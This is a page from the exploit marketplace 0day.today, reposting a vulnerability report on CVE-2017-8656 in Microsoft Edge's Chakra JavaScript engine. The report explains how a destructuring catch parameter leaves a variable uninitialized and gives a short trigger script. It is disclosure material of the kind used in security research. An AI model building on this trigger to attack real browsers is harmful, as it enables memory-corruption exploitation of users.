0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Edge Charka PreVisitCatch Missing Call Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Microsoft Edge: Chakra: PreVisitCatch doesn't call SetIsCatch for all cases CVE-2017-8656 function trigger() { try { } catch (x) { var x = 1; } print(x); } trigger(); When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars". void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo) { ... for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext) { Symbol* sym = pnode->sxVar.sym; if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar())) { if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar())) { ... sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope. ... } } // Emit bytecode which initalizes "sym" } ... } However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true. Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack. void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator) { // Push the catch scope and add the catch expression to it. byteCodeGenerator->StartBindCatch(pnode); if (pnode->sxCatch.pnodeParam->nop == knopParamPattern) { Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item) { Symbol *sym = item->sxVar.sym; }); } else { Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef; sym->SetIsCatch(true); pnode->sxCatch.pnodeParam->sxPid.sym = sym; } ... } PoC: function trigger() { try { } catch ({x}) { var x = 1; } print(x); } trigger(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt # 0day.today [2024-11-15] #